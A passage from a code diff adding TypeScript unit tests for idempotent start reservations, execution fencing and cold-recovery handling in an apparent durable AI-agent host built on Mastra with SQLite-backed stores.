+        expect(typeof result.live).toBe('boolean');
+        return result.live;
+      },
+    };
+    const first = await fixture.beginIdempotentStart(
+      fixture.reservations,
+      request,
+      surface,
+      'none',
+    );
+    expect(first.kind).toBe('start');
+    expect(await fixture.reservations.readForAdmission(request.key)).toEqual(
+      first.reservation,
+    );
+    expect(first.reservation).toMatchObject({
+      state: 'started',
+      binding: { kind: 'unbound' },
+    });
+    const writes = vi.spyOn(fixture.stateStorage, 'put');
+    const replay = fixture.replay();
+    const started = fixture.host.start(fixture.scope, {
+      ...C_START_INPUT,
+      idempotencyKey: request.key,
+      startReservation: first.reservation,
+    });
+    const outcomes = Promise.allSettled([replay, started]);
+    await new Promise<void>((resolve) => setTimeout(resolve, 0));
+    expect(fixture.buildModules).toHaveBeenCalledOnce();
+    expect(fixture.hostStorage).not.toHaveBeenCalled();
+    expect(fixture.state.size).toBe(0);
+    vi.useFakeTimers({ toFake: ['setTimeout', 'clearTimeout'] });
+    onTestFinished(() => {
+      vi.useRealTimers();
+    });
+    fixture.catalogGate.resolve();
+    const [read, refused] = await outcomes;
+    expect(
+      await fixture.reservations.readForAdmission(request.key),
+    ).toMatchObject({
+      state: 'reserved',
+      binding: { kind: 'unbound' },
+    });
+    expect(fixture.state.size).toBe(0);
+    expect(writes).toHaveBeenCalledWith(
+      TEST_OWNER_RECOVERY_KEY,
+      expect.objectContaining({
+        phase: 'preparing',
+        startReservation: first.reservation,
+      }),
+    );
+    expect(read).toMatchObject({ status: 'fulfilled', value: { status: 404 } });
+    expect(refused).toMatchObject({
+      status: 'rejected',
+      reason: {
+        status: 503,
+        reason: { code: 'EXECUTION_FENCED', state: 'draining' },
+      },
+    });
+    expect(fixture.hostStorage).toHaveBeenCalledOnce();
+    expect(fixture.registerAgent).toHaveBeenCalledOnce();
+    expect(fixture.start).toHaveBeenCalledOnce();
+    const released = await fixture.reservations.readForAdmission(request.key);
+    if (hostKind === 'reconstructed') {
+      const app = init(
+        { storage: fixture.storage },
+        {
+          executionFence: fixture.fence,
+          startIdempotency: fixture.reservations,
+          requestContextForRun: fixture.provider,
+        },
+      );
+      retryHost = fixture.createHost();
+      retryScope = { ...fixture.scope, init: app };
+      retryStart = vi.spyOn(app.runtime, 'start');
+      retryRegisterAgent = vi.spyOn(app.runtime, 'registerAgent');
+    }
+    const claim = vi.spyOn(fixture.reservations, 'claimReservation');
+    const writesBeforeRetry = writes.mock.calls.length;
+    expect(globalRunRegistry.has('acme_run')).toBe(true);
+    const immediateRetry = await fixture
+      .beginIdempotentStart(fixture.reservations, request, surface, 'none')
+      .catch((error: unknown) => error);
+    expect(await fixture.reservations.readForAdmission(request.key)).toEqual(
+      released,
+    );
+    expect(claim).not.toHaveBeenCalled();
+    expect(writes).toHaveBeenCalledTimes(writesBeforeRetry);
+    expect(fixture.state.size).toBe(0);
+    expect(fixture.start).toHaveBeenCalledOnce();
+    expect(fixture.hostStorage).toHaveBeenCalledOnce();
+    expect(fixture.buildModules).toHaveBeenCalledOnce();
+    if (hostKind === 'reconstructed') {
+      expect(retryStart).not.toHaveBeenCalled();
+      expect(retryRegisterAgent).not.toHaveBeenCalled();
+    }
+    expect(immediateRetry).toMatchObject({
+      status: 503,
+      reason: { code: 'IDEMPOTENT_START_PENDING' },
+    });
+    await vi.advanceTimersByTimeAsync(30_000);
+    expect(globalRunRegistry.has('acme_run')).toBe(false);
+    const retry = await fixture.beginIdempotentStart(
+      fixture.reservations,
+      request,
+      surface,
+      'none',
+    );
+    expect(retry.kind).toBe('start');
+    expect(claim).toHaveBeenCalledOnce();
+    expect(retry.reservation.runId).toBe(first.reservation.runId);
+    expect(retry.reservation.updatedAt).toBeGreaterThan(
+      first.reservation.updatedAt,
+    );
+    expect(released?.updatedAt).toBeLessThan(retry.reservation.updatedAt);
+    await expect(
+      retryHost.start(retryScope, {
+        ...C_START_INPUT,
+        idempotencyKey: request.key,
+        startReservation: retry.reservation,
+      }),
+    ).rejects.toMatchObject({
+      status: 503,
+      reason: { code: 'EXECUTION_FENCED', state: 'draining' },
+    });
+    expect(retryStart).toHaveBeenCalledTimes(
+      hostKind === 'reconstructed' ? 1 : 2,
+    );
+    expect(fixture.hostStorage).toHaveBeenCalledTimes(
+      hostKind === 'reconstructed' ? 2 : 1,
+    );
+    expect(fixture.registerAgent).toHaveBeenCalledOnce();
+    expect(retryRegisterAgent).toHaveBeenCalledOnce();
+    expect(fixture.state.size).toBe(0);
+    expect(
+      await fixture.reservations.readForAdmission(request.key),
+    ).toMatchObject({
+      state: 'reserved',
+      binding: { kind: 'unbound' },
+    });
+    expect(await fixture.resources.owner('run', 'acme_run')).toBeUndefined();
+    expect(
+      await fixture.resources.owner('thread', fixture.scope.threadId),
+    ).toBeUndefined();
+    expect(
+      await fixture.resources.owner('resource', RESOURCE_ID),
+    ).toBeUndefined();
+    const workflows = await fixture.storage.getStore('workflows');
+    expect(
+      await workflows?.loadWorkflowSnapshot({
+        workflowName: 'durable-agentic-loop',
+        runId: 'acme_run',
+      }),
+    ).toBeNull();
+    expect(fixture.provider).not.toHaveBeenCalled();
+    await vi.advanceTimersByTimeAsync(30_000);
+    expect(globalRunRegistry.has('acme_run')).toBe(false);
+  });
+
+  it('retries a failed catalog and retains the instance boundary', async () => {
+    const fixture = await coldInitializationFixture();
+    const failure = new Error('catalog unavailable');
+    fixture.buildModules.mockRejectedValueOnce(failure);
+    await expect(fixture.replay()).rejects.toBe(failure);
+    expect(fixture.hostStorage).not.toHaveBeenCalled();
+    expect(fixture.registerAgent).not.toHaveBeenCalled();
+    const outcomes = Promise.allSettled([fixture.replay(), fixture.replay()]);
+    await new Promise<void>((resolve) => setTimeout(resolve, 0));
+    expect(fixture.buildModules).toHaveBeenCalledTimes(2);
+    fixture.catalogGate.resolve();
+    const results = await outcomes;
+    expect(fixture.hostStorage).toHaveBeenCalledOnce();
+    expect(fixture.registerAgent).toHaveBeenCalledOnce();
+    expect(results).toMatchObject([
+      { status: 'fulfilled', value: { status: 404 } },
+      { status: 'fulfilled', value: { status: 404 } },
+    ]);
+    await expect(
+      fixture.replay({ ...fixture.scope, init: { ...fixture.app } }),
+    ).rejects.toThrow('thread agent host cannot be shared across DO instances');
+    expect(fixture.buildModules).toHaveBeenCalledTimes(2);
+    expect(fixture.hostStorage).toHaveBeenCalledOnce();
+    expect(fixture.registerAgent).toHaveBeenCalledOnce();
+    expect(fixture.state.size).toBe(0);
+    expect(fixture.start).not.toHaveBeenCalled();
+    expect(fixture.provider).not.toHaveBeenCalled();
+  });
+});
+
+describe('FS8 D3 host activation cold agent recovery', () => {
+  async function coldFixture(
+    threaded: boolean,
+    mode: 'fenced' | 'unfenced',
+    status: 'pending' | 'success' | 'suspended' = 'success',
+    keyed = false,
+  ) {
+    const core = await vi.importActual<typeof import('@mastra/core/mastra')>(
+      '@mastra/core/mastra',
+    );
+    const breakwater = await vi.importActual<
+      typeof import('@proofoftech/breakwater')
+    >('@proofoftech/breakwater');
+    mocked.actualFactory = true;
+    mocked.actualAgent = breakwater.createGuardedAgent({
+      id: 'writer',
+      name: 'Writer',
+      instructions: 'Unused cold recovery agent.',
+      model: 'openai/gpt-4o-mini',
+      allowedRoles: ['operator'],
+      policies: [],
+      audit: new breakwater.AuditLogger(),
+      maxSteps: 1,
+      toolChoice: 'auto',
+    });
+    mocked.mastra.mockImplementation(
+      (configuration) => new core.Mastra(configuration),
+    );
+    const sql = openSqlite();
+    const binding = sqliteUnitDatabase(sql) as ExecutionFenceDatabase &
+      ResourceOwnershipDatabase;
+    const storage = createD1Storage({ binding, tablePrefix: 'cold_' });
+    await storage.init();
+    const fence = new ExecutionFenceStore(binding);
+    await fence.seed('open');
+    const { StartIdempotencyStore } = await import(
+      '../do-runner/start-idempotency.js'
+    );
+    const reservations = keyed ? new StartIdempotencyStore(binding) : undefined;
+    const app = init(
+      { storage },
+      {
+        executionFence: mode === 'fenced' ? fence : 'none',
+        startIdempotency: reservations ?? 'none',
+      },
+    );
+    const resources = new D1ResourceOwnershipStore(
+      binding as ResourceOwnershipDatabase,
+    );
+    const fixture = harness(['writer'], {
+      init: app,
+      storage,
+      resourceAccess: resources,
+    });
+    const token = 'cold-host-attempt';
+    const execution = {
+      tablePrefix: 'cold_',
+      workflowId: 'durable-agentic-loop',
+      runId: 'acme_run',
+      startToken: 'cold-generation',
+    };
+    let claim:
+      | import('../do-runner/start-reservation-contract.js').StartReservationReading
+      | undefined;
+    if (reservations) {
+      const reserved = await reservations.reserve({
+        key: 'cold-key',
+        owner: HUMAN_OWNER,
+        targetKind: 'agent',
+        targetId: 'writer',
+        threadId: 'acme_thread',
+        mintRunId: () => 'acme_run',
+      });
+      claim = await reservations.claimReservation(reserved.reservation);
+      if (!claim) throw new Error('missing cold claim');
+      await reservations.bindPreparedStart(claim, {
+        ...execution,
+        owner: HUMAN_OWNER,
+        target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+      });
+    }
+    const provenance = {
+      version: 2,
+      startToken: execution.startToken,
+      attemptToken: status === 'pending' ? token : 'resumed-leg',
+      requestedBy: 'operator-1',
+      requestedByKind: 'human',
+      resumeCounts: [],
+      startIdentity: {
+        owner: { kind: 'human', id: 'operator-1' },
+        target: { kind: 'agent', id: 'writer', threadId: 'acme_thread' },
+      },
+      agentStart: { threaded },
+      ...(status === 'pending' ? { initialAdmission: true } : {}),
+    };
+    const workflows = (await storage.getStore(
+      'workflows',
+    )) as FencedWorkflowsStorageD1;
+    await workflows.persistWorkflowSnapshot({
+      workflowName: execution.workflowId,
+      runId: execution.runId,
+      snapshot: {
+        runId: execution.runId,
+        status,
+        value: {},
+        context: {},
+        serializedStepGraph: [],
+        activePaths: [],
+        activeStepsPath: {},
+        suspendedPaths: {},
+        resumeLabels: {},
+        waitingPaths: {},
+        timestamp: 123,
+        requestContext: { 'flowsafe.runProvenance': provenance },
+      },
+    });
+    const recovery = ownerRecovery('acme_run', {
+      phase: mode === 'fenced' ? 'prepared' : 'prepared-unfenced',
+      execution,
+      token,
+      threaded,
+      ...(claim ? { startReservation: claim } : {}),
+    });
+    seedRecoveryState(fixture.state, 'acme_run', recovery, threaded);
+    await resources.reserveAll(
+      [
+        { kind: 'run', resourceId: 'acme_run' },
+        { kind: 'thread', resourceId: 'acme_thread' },
+        { kind: 'resource', resourceId: RESOURCE_ID },
+      ],
+      HUMAN_OWNER,
+      token,
+    );
+    const nativeCapability = workflows[FENCED_WORKFLOW_STORAGE];
+    if (!nativeCapability) throw new Error('missing cold capability');
+    const rawReads = vi.fn(
+      nativeCapability.readSnapshot.bind(nativeCapability),
+    );
+    const terminalization = vi.fn(
+      nativeCapability.terminalizeInitialAdmission.bind(nativeCapability),
+    );
+    Object.defineProperty(workflows, FENCED_WORKFLOW_STORAGE, {
+      value: {
+        ...nativeCapability,
+        readSnapshot: rawReads,
+        terminalizeInitialAdmission: terminalization,
+      },
+      configurable: true,
+    });
+    return {
+      ...fixture,
+      sql,
+      reservations,
+      claim,
+      app,
+      workflows,
+      execution,
+      recovery,
+      resources,
+      nativeCapability,
+      rawReads,
+      terminalization,
+    };
+  }
+
+  it.each([
+    true,
+    false,
+  ])('initializes a fresh actual wrapper before fenced pending recovery (threaded=%s)', async (threaded) => {
+    const fixture = await coldFixture(threaded, 'fenced', 'pending');
+    expect(fixture.app.runtime.workflowIds()).toEqual([]);
+    const before = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+    });
+    expect(before?.status).toBe('pending');
+    const start = vi.spyOn(fixture.app.runtime, 'start');
+    await expect(
+      fixture.host.recoverOwnership(fixture.scope),
+    ).resolves.toBeUndefined();
+    const after = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+    });
+    expect(after?.status).toBe('failed');
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(fixture.app.runtime.workflowIds()).toContain(
+      fixture.execution.workflowId,
+    );
+    expect(start).not.toHaveBeenCalled();
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it.each([
+    true,
+    false,
+  ])('initializes a fresh actual wrapper for progressed unfenced recovery (threaded=%s)', async (threaded) => {
+    const fixture = await coldFixture(threaded, 'unfenced');
+    expect(fixture.app.runtime.workflowIds()).toEqual([]);
+    const b2 = vi.spyOn(fixture.app.runtime, 'recoverStartAttempt');
+    await expect(
+      fixture.host.recoverOwnership(fixture.scope),
+    ).resolves.toBeUndefined();
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(b2).not.toHaveBeenCalled();
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it('initializes the cold blocking-run entry before selecting a terminal no-journal record', async () => {
+    const fixture = await coldFixture(true, 'fenced');
+    fixture.state.delete(TEST_OWNER_RECOVERY_KEY);
+    expect(fixture.app.runtime.workflowIds()).toEqual([]);
+    await expect(
+      fixture.host.blockingRun(fixture.scope),
+    ).resolves.toBeUndefined();
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it('initializes the cold dispatch-status entry before selecting its actual workflow', async () => {
+    const fixture = await coldFixture(true, 'fenced');
+    fixture.state.delete(TEST_OWNER_RECOVERY_KEY);
+    expect(fixture.app.runtime.workflowIds()).toEqual([]);
+    await expect(
+      fixture.host.scheduleDispatchStatus(fixture.scope, {
+        agentId: 'writer',
+        resourceId: RESOURCE_ID,
+        runId: 'acme_run',
+      }),
+    ).resolves.toMatchObject({ runId: 'acme_run', status: 'success' });
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(mocked.stream).not.toHaveBeenCalled();
+  });
+
+  it('keeps empty recovery and blocking scans lazy', async () => {
+    const fixture = harness();
+    await expect(
+      fixture.host.recoverOwnership(fixture.scope),
+    ).resolves.toBeUndefined();
+    await expect(
+      fixture.host.blockingRun(fixture.scope),
+    ).resolves.toBeUndefined();
+    expect(fixture.moduleScopes).toEqual([]);
+    expect(fixture.storageScopes).toEqual([]);
+  });
+
+  it('retains a cold journal for an unknown catalog module without engine entry', async () => {
+    const fixture = await coldFixture(true, 'fenced');
+    const foreign = ownerRecovery('acme_run', {
+      ...fixture.recovery,
+      agentId: 'unknown',
+      runRecord: {
+        version: 2,
+        agentId: 'unknown',
+        principal: fixture.scope.principal,
+        originEntryPath: 'http.start',
+      },
+    });
+    fixture.state.set(TEST_OWNER_RECOVERY_KEY, foreign);
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(foreign);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(mocked.stream).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+  it.each([
+    true,
+    false,
+  ])('uses one authoritative recovery observation for the actual cold agent (threaded=%s)', async (threaded) => {
+    const fixture = await coldFixture(threaded, 'fenced', 'pending');
+    await expect(
+      fixture.host.recoverOwnership(fixture.scope),
+    ).resolves.toBeUndefined();
+    const raw = await fixture.nativeCapability.readSnapshot({
+      workflowId: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+    });
+    expect(JSON.parse(raw?.snapshot ?? '{}').status).toBe('failed');
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.rawReads).toHaveBeenCalledOnce();
+    expect(fixture.terminalization).toHaveBeenCalledOnce();
+  });
+
+  it.each([
+    'agent',
+    'owner',
+    'thread',
+    'mode',
+    'workflow role',
+    'missing identity',
+  ] as const)('retains same-S foreign managed metadata before B2 from one selected row: %s', async (field) => {
+    const fixture = await coldFixture(true, 'fenced', 'pending');
+    const snapshot = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+    });
+    if (!snapshot?.requestContext) throw new Error('missing cold snapshot');
+    const provenance = snapshot.requestContext[
+      'flowsafe.runProvenance'
+    ] as Record<string, unknown>;
+    const identity = provenance.startIdentity as {
+      owner: { kind: string; id: string };
+      target: { kind: string; id: string; threadId?: string };
+    };
+    if (field === 'agent') identity.target.id = 'foreign-agent';
+    if (field === 'owner') {
+      identity.owner.id = 'foreign-owner';
+      provenance.requestedBy = 'foreign-owner';
+    }
+    if (field === 'thread') identity.target.threadId = 'foreign-thread';
+    if (field === 'mode') provenance.agentStart = { threaded: false };
+    if (field === 'workflow role') {
+      identity.target = { kind: 'workflow', id: fixture.execution.workflowId };
+      delete provenance.agentStart;
+    }
+    if (field === 'missing identity') {
+      delete provenance.startIdentity;
+      delete provenance.agentStart;
+    }
+    await fixture.workflows.persistWorkflowSnapshot({
+      workflowName: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+      snapshot,
+    });
+    const rawBefore = await fixture.nativeCapability.readSnapshot({
+      workflowId: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+    });
+    const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution');
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(
+      await fixture.nativeCapability.readSnapshot({
+        workflowId: fixture.execution.workflowId,
+        runId: fixture.execution.runId,
+      }),
+    ).toEqual(rawBefore);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+      fixture.recovery,
+    );
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.terminalization).not.toHaveBeenCalled();
+    expect(settle).not.toHaveBeenCalled();
+    expect(fixture.rawReads).toHaveBeenCalledOnce();
+    expect(outcome).toMatchObject({
+      status: 503,
+      reason: { code: 'EXECUTION_FENCE_UNREADABLE' },
+    });
+  });
+  it.each([
+    [true, true],
+    [true, false],
+    [false, true],
+    [false, false],
+  ] as const)('retains cold prepared absence across repeated same-ID starts (threaded=%s keyed=%s)', async (threaded, keyed) => {
+    const fixture = await coldFixture(threaded, 'fenced', 'pending', keyed);
+    const beforeClaim =
+      await fixture.reservations?.readForAdmission('cold-key');
+    fixture.sql
+      .prepare(
+        'DELETE FROM cold_mastra_workflow_snapshot WHERE workflow_name = ? AND run_id = ?',
+      )
+      .run(fixture.execution.workflowId, fixture.execution.runId);
+    const enter = vi
+      .spyOn(fixture.app.runtime, 'start')
+      .mockRejectedValue(new Error('unexpected new engine entry'));
+    const recoveryError = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(
+      await fixture.nativeCapability.readSnapshot({
+        workflowId: fixture.execution.workflowId,
+        runId: fixture.execution.runId,
+      }),
+    ).toBeUndefined();
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+      fixture.recovery,
+    );
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(threaded);
+    expect(await fixture.reservations?.readForAdmission('cold-key')).toEqual(
+      beforeClaim,
+    );
+    expect(recoveryError).toMatchObject({ status: 503 });
+    for (let retry = 0; retry < 2; retry++) {
+      const outcome = await fixture.host
+        .start(fixture.scope, {
+          ...C_START_INPUT,
+          threaded,
+          ...(fixture.claim
+            ? {
+                idempotencyKey: fixture.claim.key,
+                startReservation: fixture.claim,
+              }
+            : {}),
+        })
+        .catch((error: unknown) => error);
+      expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(
+        fixture.recovery,
+      );
+      expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+      expect(enter).not.toHaveBeenCalled();
+      expect(outcome).toMatchObject({ status: 503 });
+    }
+    expect(await fixture.host.blockingRun(fixture.scope)).toMatchObject({
+      runId: 'acme_run',
+    });
+    expect(fixture.terminalization).not.toHaveBeenCalled();
+  });
+
+  it('retains a no-journal terminal record when its selected immutable owner differs', async () => {
+    const fixture = await coldFixture(true, 'fenced');
+    fixture.state.delete(TEST_OWNER_RECOVERY_KEY);
+    const snapshot = await fixture.workflows.loadWorkflowSnapshot({
+      workflowName: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+    });
+    if (!snapshot?.requestContext) throw new Error('missing cold result');
+    const provenance = snapshot.requestContext['flowsafe.runProvenance'] as {
+      requestedBy: string;
+      startIdentity: { owner: { id: string } };
+    };
+    provenance.startIdentity.owner.id = 'foreign-owner';
+    provenance.requestedBy = 'foreign-owner';
+    await fixture.workflows.persistWorkflowSnapshot({
+      workflowName: fixture.execution.workflowId,
+      runId: fixture.execution.runId,
+      snapshot,
+    });
+    const settle = vi.spyOn(fixture.app.runtime, 'settleStartExecution');
+    const outcome = await fixture.host
+      .blockingRun(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(true);
+    expect(settle).not.toHaveBeenCalled();
+    expect(outcome).toMatchObject({ status: 503 });
+  });
+});
+
+describe('FS8 D3 host activation exact agent journals', () => {
+  it.each([
+    [
+      'phase',
+      {
+        phase: 'prepared-unfenced',
+        execution: {
+          tablePrefix: '',
+          workflowId: 'durable-agentic-loop',
+          runId: 'acme_run',
+          startToken: 'test-generation',
+        },
+      },
+    ],
+    [
+      'generation',
+      {
+        execution: {
+          tablePrefix: '',
+          workflowId: 'durable-agentic-loop',
+          runId: 'acme_run',
+          startToken: 'replacement-generation',
+        },
+      },
+    ],
+    [
+      'principal',
+      {
+        runRecord: {
+          version: 2,
+          agentId: 'writer',
+          principal: { kind: 'human', id: 'operator-1', role: 'admin' },
+          originEntryPath: 'http.start',
+        },
+      },
+    ],
+    [
+      'origin',
+      {
+        runRecord: {
+          version: 2,
+          agentId: 'writer',
+          principal: { kind: 'human', id: 'operator-1', role: 'operator' },
+          originEntryPath: 'signal.wake',
+        },
+      },
+    ],
+  ])('preserves a replacement with repeated H when the listed journal differs in %s', async (_field, replacement) => {
+    const fixture = harness();
+    fixture.setSummary({ runId: 'acme_run', status: 'success' });
+    const original = ownerRecovery('acme_run');
+    const current = ownerRecovery('acme_run', replacement);
+    seedRecoveryState(fixture.state, 'acme_run', current);
+    vi.spyOn(fixture.stateStorage, 'list').mockResolvedValueOnce(
+      new Map([[TEST_OWNER_RECOVERY_KEY, original]]),
+    );
+    const settle = vi.spyOn(fixture.resourceAccess, 'settleReservation');
+    const recover = vi.spyOn(fixture.scope.init.runtime, 'recoverStartAttempt');
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(current);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(settle).not.toHaveBeenCalled();
+    expect(recover).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    'principal',
+    'origin',
+  ] as const)('preserves a replacement run record during preparing rollback: %s', async (field) => {
+    const fixture = harness();
+    const recovery = ownerRecovery('acme_run', { phase: 'preparing' });
+    delete recovery.execution;
+    seedRecoveryState(fixture.state, 'acme_run', recovery);
+    const record = {
+      version: 2,
+      agentId: 'writer',
+      principal: {
+        kind: 'human',
+        id: 'operator-1',
+        role: field === 'principal' ? 'admin' : 'operator',
+      },
+      originEntryPath: field === 'origin' ? 'signal.wake' : 'http.start',
+    };
+    fixture.state.set(TEST_RUN_RECORD_KEY, record);
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_RUN_RECORD_KEY)).toEqual(record);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(recovery);
+    expect(fixture.state.has(THREAD_BINDING_KEY)).toBe(true);
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    null,
+    'actual_',
+  ] as const)('never invokes B2 or absence rollback for missing prepared-unfenced state (prefix=%s)', async (tablePrefix) => {
+    const fixture = harness();
+    fixture.setSummary(null, true);
+    const recovery = ownerRecovery('acme_run', {
+      phase: 'prepared-unfenced',
+      execution: {
+        tablePrefix,
+        workflowId: 'durable-agentic-loop',
+        runId: 'acme_run',
+        startToken: 'test-generation',
+      },
+    });
+    seedRecoveryState(fixture.state, 'acme_run', recovery);
+    const b2 = vi.spyOn(fixture.scope.init.runtime, 'recoverStartAttempt');
+    const outcome = await fixture.host
+      .recoverOwnership(fixture.scope)
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(recovery);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(b2).not.toHaveBeenCalled();
+    expect(outcome).toBeInstanceOf(Error);
+  });
+
+  it.each([
+    true,
+    false,
+  ])('retains managed bookkeeping after strict terminal settlement failure (threaded=%s)', async (threaded) => {
+    const failure = new Error('strict settlement failed');
+    const settle = vi.fn(async () => {
+      throw failure;
+    });
+    const fixture = harness(['writer'], {
+      runtime: { settleStartExecution: settle },
+    });
+    const outcome = await fixture.host
+      .start(fixture.scope, { ...C_START_INPUT, threaded })
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toMatchObject({
+      phase: 'prepared-unfenced',
+      threaded,
+    });
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(
+      await fixture.resourceAccess.reserveAll(
+        [{ kind: 'run', resourceId: 'acme_run' }],
+        { kind: 'human', id: 'replacement-owner' },
+        'replacement-attempt',
+      ),
+    ).toBe(false);
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(outcome).toBe(failure);
+  });
+
+  it.each([
+    true,
+    false,
+  ])('does not publish normal completion from a pending durable start (threaded=%s)', async (threaded) => {
+    const fixture = harness();
+    fixture.setSummary({ runId: 'acme_run', status: 'pending' }, false);
+    const outcome = await fixture.host
+      .start(fixture.scope, { ...C_START_INPUT, threaded })
+      .catch((error: unknown) => error);
+    expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toMatchObject({
+      phase: 'prepared-unfenced',
+      threaded,
+    });
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+    expect(
+      await fixture.resourceAccess.reserveAll(
+        [{ kind: 'run', resourceId: 'acme_run' }],
+        { kind: 'human', id: 'replacement-owner' },
+        'replacement-attempt',
+      ),
+    ).toBe(false);
+    expect(fixture.alarmAt()).toBeDefined();
+    expect(outcome).toMatchObject({
+      status: 503,
+      reason: { code: 'RUN_START_PENDING' },
+    });
+  });
+});
+
+describe('FS8 D3 host activation owning quiescence', () => {
+  it('refuses recovery while the exact start frame is still awaiting the engine', async () => {
+    const fixture = harness();
+    const entered = cDeferred(),
+      release = cDeferred();
+    mocked.stream.mockImplementation(async () => {
+      entered.resolve();
+      await release.promise;
+      return {};
+    });
+    const start = fixture.host.start(fixture.scope, C_START_INPUT);
+    const outcome = start.catch((error: unknown) => error);
+    await entered.promise;
+    const journal = structuredClone(fixture.state.get(TEST_OWNER_RECOVERY_KEY));
+    try {
+      const recovery = await fixture.host
+        .recoverOwnership(fixture.scope)
+        .catch((error: unknown) => error);
+      expect(fixture.state.get(TEST_OWNER_RECOVERY_KEY)).toEqual(journal);
+      expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(true);
+      expect(recovery).toMatchObject({
+        status: 503,
+        reason: { code: 'RUN_START_PENDING' },
+      });
+    } finally {
+      release.resolve();
+      await outcome;
+    }
+    await expect(start).resolves.toMatchObject({ runId: 'acme_run' });
+  });
+
+  it('recovers the previous preparing attempt before installing the next execution frame', async () => {
+    const fixture = harness();
+    const previous = ownerRecovery('acme_run', { phase: 'preparing' });
+    delete previous.execution;
+    seedRecoveryState(fixture.state, 'acme_run', previous);
+    await fixture.resources.reserveAll(
+      [
+        { kind: 'run', resourceId: 'acme_run' },
+        { kind: 'thread', resourceId: 'acme_thread' },
+        { kind: 'resource', resourceId: RESOURCE_ID },
+      ],
+      HUMAN_OWNER,
+      previous.token as string,
+    );
+    const start = fixture.host.start(fixture.scope, C_START_INPUT);
+    await expect(start).resolves.toMatchObject({ runId: 'acme_run' });
+    const result = await start;
+    expect(fixture.state.has(TEST_OWNER_RECOVERY_KEY)).toBe(false);
+    expect(fixture.state.has(TEST_RUN_RECORD_KEY)).toBe(false);
+    expect(await fixture.resources.owner('run', 'acme_run')).toEqual(
+      HUMAN_OWNER,
+    );
+    expect(mocked.stream).toHaveBeenCalledOnce();
+    expect(result).toMatchObject({
+      runId: 'acme_run',
+      summary: { status: 'success' },
+    });
+  });
+});
+
+describe('FS8 D3 host activation captured original claim', () => {
+  it('forwards the captured successful claim through the eighth argument after an authorization wait', async () => {
+    const { StartIdempotencyStore } = await import(
+      '../do-runner/start-idempotency.js'
+    );
+    const store = new StartIdempotencyStore(
+      sqliteUnitDatabase(
+        openSqlite(),
+      ) as import('../do-runner/start-idempotency.js').StartIdempotencyDatabase,
+    );
+    const reserved = await store.reserve({
+      key: 'captured-key',
+      owner: { kind: 'human', id: 'operator-1' },
+      targetKind: 'agent',
+      targetId: 'writer',
+      threadId: 'acme_thread',
+      mintRunId: () => 'acme_run',
+    });
+    const claim = await store.claimReservation(reserved.reservation);
